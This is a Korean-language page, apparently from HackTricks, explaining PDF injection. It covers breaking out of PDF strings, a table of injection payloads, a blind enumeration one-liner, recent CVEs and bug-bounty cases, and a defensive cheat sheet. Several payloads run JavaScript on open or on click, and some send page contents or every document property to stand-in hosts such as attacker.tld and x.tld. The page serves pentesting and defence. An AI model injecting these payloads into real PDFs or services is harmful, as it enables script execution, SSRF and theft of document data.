PDF Injection

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

PDF 파일 내에서 입력이 반영되는 경우, JavaScript를 실행하거나 SSRF를 수행하거나 PDF 콘텐츠를 훔치기 위해 PDF 데이터를 주입할 수 있습니다. PDF 구문은 매우 관대합니다 – 입력을 포함하는 문자열이나 사전에서 벗어날 수 있다면, Acrobat/Chrome이 기꺼이 구문 분석할 새로운 객체(또는 동일한 객체의 새로운 키)를 추가할 수 있습니다. 2024년부터 버그 바운티 보고서의 물결이 하나의 이스케이프되지 않은 괄호나 백슬래시로도 전체 스크립트 실행이 가능하다는 것을 보여주었습니다.

TL;DR – 현대 공격 워크플로우 (2024)

  1. 생성된 PDF의 (괄호 문자열), /URI ( … ) 또는 /JS ( … ) 필드 내에 위치하는 사용자 제어 값 찾기.
  2. ) (문자열 닫기) 다음에 아래의 원시 중 하나를 주입하고 구문을 유효하게 유지하기 위해 또 다른 여는 괄호로 마무리합니다.
  3. 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 – 블라인드 버그에 유용).
  4. PDF 뷰어에서 페이로드가 실행됩니다:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (CVE-2024-4367 참조)
  • Acrobat → 전체 JavaScript API (임의 파일 내용을 this.getPageNthWord로 유출할 수 있음)

예시 (주석 링크 하이재킹):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

첫 번째 )는 원래 URI 문자열을 닫고, 사용자가 링크를 클릭할 때 Acrobat이 실행할 새로운 Action 사전을 추가합니다.

유용한 주입 원시

목표페이로드 스니펫비고
열 때 JavaScript/OpenAction << /S /JavaScript /JS (app.alert(1)) >>문서가 열릴 때 즉시 실행됩니다 (Acrobat에서 작동, Chrome에서는 작동하지 않음).
링크에서 JavaScript/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>/Link 주석을 제어할 경우 PDFium 및 Acrobat에서 작동합니다.
블라인드 데이터 유출<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)JS 내에서 this.getPageNthWord와 결합하여 콘텐츠를 훔칩니다.
서버 측 SSRF위와 동일하지만 내부 URL을 타겟으로 설정 – PDF가 /URI를 존중하는 백오피스 서비스에 의해 렌더링될 때 유용합니다.
새 객체를 위한 줄 바꿈\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj라이브러리가 새 줄 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다.

블라인드 열거 트릭

Gareth Heyes (PortSwigger)는 알 수 없는 문서 내의 모든 객체를 열거하는 원라이너를 발표했습니다 – 생성된 PDF를 볼 수 없을 때 유용합니다:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

코드는 Acrobat DOM을 반복하며 모든 속성/값 쌍에 대해 외부 요청을 수행하여 파일의 JSON-ish 덤프를 제공합니다. 전체 기술에 대한 내용은 백서 “Portable Data exFiltration”을 참조하십시오.

실제 버그 (2023-2025)

  • CVE-2024-4367 – Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행이 조작된 /JavaScript 작업으로 샌드박스를 우회했습니다.
  • 버그 바운티 2024-05 – 주요 핀테크가 고객 제공 송장 노트를 /URI에 허용했으며, file:/// URI를 사용하여 내부 메타데이터 호스트에 대한 SSRF를 시연한 후 보고서에 $10k가 지급되었습니다.
  • CVE-2023-26155 – 비정상적인 PDF 경로를 통한 node-qpdf 명령 주입은 PDF 레이어 이전에 백슬래시와 괄호를 이스케이프하는 것의 중요성을 보여줍니다.

방어용 치트시트

  1. 절대 사용자 입력을 () 문자열이나 이름에 연결하지 마십시오. PDF 사양 §7.3에 따라 필요한 경우 \, (, )를 이스케이프하거나 16진수 문자열 <...>을 사용하십시오.
  2. 링크를 생성할 경우, /URI (https://…)를 선호하며 완전히 URL 인코딩하십시오; 클라이언트 뷰어에서 javascript: 스킴을 차단하십시오.
  3. PDF 후처리 시 /OpenAction, /AA (추가 작업), /Launch, /SubmitForm/ImportData 사전을 제거하거나 검증하십시오.
  4. 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 작업을 제거하는 헤드리스 변환기 (예: qpdf –decrypt –linearize)로 렌더링하십시오.
  5. PDF 뷰어를 최신 상태로 유지하십시오; PDF.js < 4.2.67 및 2024년 7월 이전의 Acrobat Reader는 사소한 코드 실행을 허용합니다.

참고문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기